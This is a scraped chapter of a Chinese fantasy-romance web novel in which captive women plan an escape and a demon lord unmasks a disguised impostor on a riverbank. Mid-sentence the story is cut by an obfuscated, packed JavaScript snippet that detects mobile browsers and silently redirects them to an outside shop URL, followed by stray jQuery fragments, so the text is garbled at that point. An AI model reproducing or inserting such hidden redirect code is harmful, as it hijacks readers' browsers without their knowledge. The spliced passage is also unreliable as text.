58. 独善其身
作品:《别在魔尊面前说谎》 舱门被人重重地关上,狭小的空间彻底陷入昏暗。
直到脚步声彻底远去,确认外头再无人声,装晕的颜悬昭才悄悄睁开双眼。
船舱里光线晦暗,被掳来的女孩们双手被缚,横七竖八地躺了一地。
那些人将她们关押在此后,图省事点了强效的迷香,此刻舱内弥漫着一股甜腻的气息,除她之外,所有人都昏迷不醒。
颜悬昭后怕地按了按心口。
她的心口处还好好佩戴着应逢怜所赠的“鲛人泪”。
幸好那些人急着送走她们,搜身比较草率,没有发现这件法宝,这才让迷香对她无法起效。
但只有她一个人还醒着,却也是独木难支,做不了什么。
颜悬昭费力地磨开了手腕上的绳索,立刻爬到凝雨身边。
“凝雨,醒醒!”她压低声音,轻轻拍打凝雨的脸颊。
凝雨功力较深,对迷香本有一定抵抗,被颜悬昭这般摇晃,竟真的悠悠转醒。
她睫毛颤动了几下,视线艰难聚焦,终于看清了眼前人焦急的面容。
“你醒了!”颜悬昭看到她醒了,面上一喜,一边迅速为她解去捆绑,一边小声道,“我们得想法子逃出去。”
凝雨此时彻底清醒了过来,试图调动自己的灵力,可丹田内依旧空空如也。
她的心猛地沉了下去。
“颜悬昭,”她开口道,“别管我了,你能跑就自行跑了。”
颜悬昭眼睛瞬间瞪圆,反驳道:“那怎么行?我可不能把你一个人丢在这里!”
凝雨被她噎了一下,随即低斥:“你是菩萨转世吗?连独善其身都不懂?”
颜悬昭抿了抿嘴,小声道:“我自己跑了,丢下你……应逢怜肯定会怪我的。”
如此贪生怕死,丢下老板的亲人不顾,只管自己苟活的人,日后还怎么会得到上司的重用啊!
颜悬昭虽然很害怕,也很想自己先保命溜了,让应逢怜他们来想办法救人就好了,但这种临阵脱逃,当二五仔的行为还是让人过不去良心这关。
“他该怪我才是。”凝雨垂眸,声音轻得令人听不清,“他好不容易才有了个家……”
“什么?”颜悬昭没听清,追问道。
凝雨却收敛了表情,抬起头,又露出了那副高高在上的神情:“我是说,你要能跑就赶紧跑了,人不为己天诛地灭。换做是我,要是能自己脱身,早就丢下你跑了。”
“你不会。”颜悬昭摇头,语气却很肯定,“你若真是那样的人,一开始就不会去救这些女孩。”
“你本来可以置身事外,却偏偏选了最难的路,以至于自己也陷了进来……”
“我没你想得那么正直善良。”凝雨别开脸,“救她们不过顺手的事,跟兴起了救几只蚂蚁差不多。”
她叹了口气:“早知这么麻烦,我根本不会管。”
凝雨就是个嘴硬心软的主儿,颜悬昭和她相处下来已经看清了。
于是她说:“就算是举手之劳,但你也没有选择袖手旁观。善事做了便是做了,何必论当初的心纯不纯粹呢。”
“更何况,我也不是什么圣母心肠,为了什么纯粹的善良道义才要带着你一起走,我也有自己的考量。”
颜悬昭摊了摊手,继续道:“一是我知道,丢下你,应逢怜定会对我心生不满,我侥幸活着回去,以后的日子怕是也不好过了。”
“二是如若没有你,我自己一个人很难逃出这里,你若是也能行动,就是为我的出逃加一道保险。”
“怎么样,还是跟我一起走吧?”她对凝雨伸出一只手。
凝雨怔了片刻,突然轻笑出声:“怪不得他喜欢你……我都开始有点喜欢你了。”
颜悬昭并不像那些正派人士一样,成天把什么冠冕堂皇的道义挂在嘴边。
她讲利益也讲人情,知世故而不世故,既不算十分的圆滑,又不是个木头脑子。
也不知道她是怎么锻炼出这副处事态度的。
颜悬昭被她这一“表白”,搞得起了一身鸡皮疙瘩:“可别,我笔直!”
老天开眼,她并没有和老板的妹妹发展暧昧关系的意向啊!
凝雨没听懂她的古怪发言,像是掩饰自己的不好意思般,立刻扬起了下巴:“可别以为我这么说,就会把表哥拱手让你!表哥是我的!回去以后,我最最最多……就是允许你公平竞争!”
太好了,又变回了那个骄傲的大小姐。
“是是是!”颜悬昭竟是松了口气,连忙低声应是,哄住眼前公主脾气发作的人。
凝雨还想说什么,神色骤然一凛,动作顿住。
颜悬昭见她神情,立刻屏息。
寂静许久的舱外走廊,忽然又响起了杂沓的脚步声。
两人对视一眼,极快地将松开的绳索虚绕回手上,倒回原处,闭眼假寐。
颜悬昭刚合上眼,舱门便被猛地推开。
———
码头。
“报告尊上。”魔军统领上前汇报,“我们刚刚追着疑犯,追着追着就失去了他的踪迹。”
还没等应逢怜有所反应,空青便上前怒声斥道:“废物!追个人都能追丢!”
统领冷汗涔涔,当即跪下请罪:“属下失职。”
应逢怜却沉声问:“如何跟丢的?”
统领小心抬眼,觑着他的脸色,斟酌道:“当时弟兄们已将他合围,一拥而上之际,此人竟……原地凭空消失了。”
他急忙补充:“但他定然还在此区域之中!天上地下皆已布下禁制,他绝无可能遁走。许是用了什么障眼法,待时效一过,必现形迹。”
“等不了。”应逢怜下令道,“排查所有可疑面孔,军中之人亦需逐一核验身份,无人可免。”
统领虽不明深意,仍即刻领命:“是!”旋即匆匆退去。
吩咐完,应逢怜站在江岸边,看着灯火通明的沿岸,眼底晦暗不明。
空青上前一步,低声宽慰道:“主上不必忧心,我们必定在天亮之前寻得公主她们的下落。”
就在此时,不远处的灌木丛居然传来窸窸窣窣的动静。
空青立刻警觉,按刀向前,厉喝道:“谁?!”
灌木丛剧烈抖动了两下,缓慢地爬出了一个狼狈的身影,伏倒在地,不住地咳呛着。
空青举着火把上前,火光渐次映亮来人的脸庞。
待看清对方面容,他不禁失声:“颜姑娘?!”
应逢怜闻言,立刻拨开空青上前。
只见颜悬昭浑身湿透,发梢衣角不住滴水,似是刚从水中被捞起。
河水冰冷,她冻得浑身发颤,面色苍白如纸。
她抬起头,泪眼朦胧地望向应逢怜,唇瓣哆嗦,却说不出一句完整
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17071443|183016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的话。
空青本能想伸手去扶,瞥见应逢怜在侧,又生生止住。
应逢怜却也没有动作,只是站在原地,垂眸看着她,问道:“你怎么会在这里?”
颜悬昭声音发颤,哽咽道:“说来话长……我们去救人,反中了圈套,被掳至船上关押。我趁他们不备跳入河中,拼命游了回来……”
“公主呢?”空青急急插言,目光焦急地扫向她身后,“公主可与你一道?”
颜悬昭闻言一愣,随即面露悲戚:“公主她伤得重,我实在无力带她一同逃脱。只得先行回来求救。”
她挣扎着从地上爬起,抓住应逢怜的衣袖,焦急万分:“我知道他们的船往哪个方向去了!我们快去救公主,迟了就来不及了!”
应逢怜却伸手按住她肩头:“不急。你浑身湿透,寒气侵体,先让人带你去换身干净衣裳。”
“主上!”空青难以置信,声音里不自觉地带上了激愤,“公主尚在险境,生死未卜,您岂能只顾儿女情长……”
“放肆。”应逢怜声音不高,却冷冽如冰。
空青猛然察觉了自己的失态,当即跪地请罪。
颜悬昭挨近应逢怜身侧,温声劝道:“他也是忧心公主,情急之言,莫要责怪。眼下确是救公主要紧。”
她话锋一转,又道:“只是关押之处看守森严,强攻恐难奏效。不如……精选一二好手,暗中潜入救人,更为稳妥。”
“好,都依你所言。”应逢怜颔首。
“夫君,”颜悬昭转身,指向江水茫茫的某处,“你派船往这个方向去……”
空青听到此处,骤然抬头:“不对……”
他的话音还未落,应逢怜已经出手利落地一掌将眼前的“颜悬昭”击飞。
是个假货!
“颜悬昭”重重跌落在地,呛出大口鲜血,仍强撑着抬起脸,凄然哀唤:“夫君……为何……这般对我……”
应逢怜缓步上前,蹲下身,五指扼住她咽喉,仔细端详片刻,带着些许疑惑道:“你究竟用了何种易容术法,连我也未能一眼看破……”
“夫君,你在说什么啊?妾身不知……”假颜悬昭犹自挣扎着,扮足无辜的情态。
应逢怜冷笑一声:“蠢货,假扮他人之前,也不做足功课。”
说罢,他又用上了些许内力震断了对方数处经脉。
此人又猛地呕出几口鲜血,彻底维持不住脸上的伪装,颜悬昭的面容逐渐褪去,取而代之的是一张蓄着小胡子的中年男人面庞。
“大胆狗贼!”空青瞬间认出来人就是他们正在追捕的疑犯,大怒,长刀瞬间出鞘,直指其喉。
小胡子自知自己伪装暴露了,连忙哭嚎着求饶:“各位大人饶命,饶命啊!小的知道载着公主她们的那艘船的去向,只求大人们放我一条生路!我定知无不言,言无不尽!”
空青手里的刀锋逼近了他的脖颈,满眼厌恶:“尊上,这厮狡猾至极,不必和他废话。我们直接搜魂,搜完直接杀了便是。”
听到“搜魂”二字,小胡子吓得面无人色,在原地疯狂磕起头来,连连求饶。
空青不等应逢怜发话,上前就要对他实行搜魂之术,却被应逢怜抬手拦下。
“不必。”他看着地上抖如筛糠的小胡子,猩红的眸子里掠过一丝考量。
“留着他,他还有大用处。”

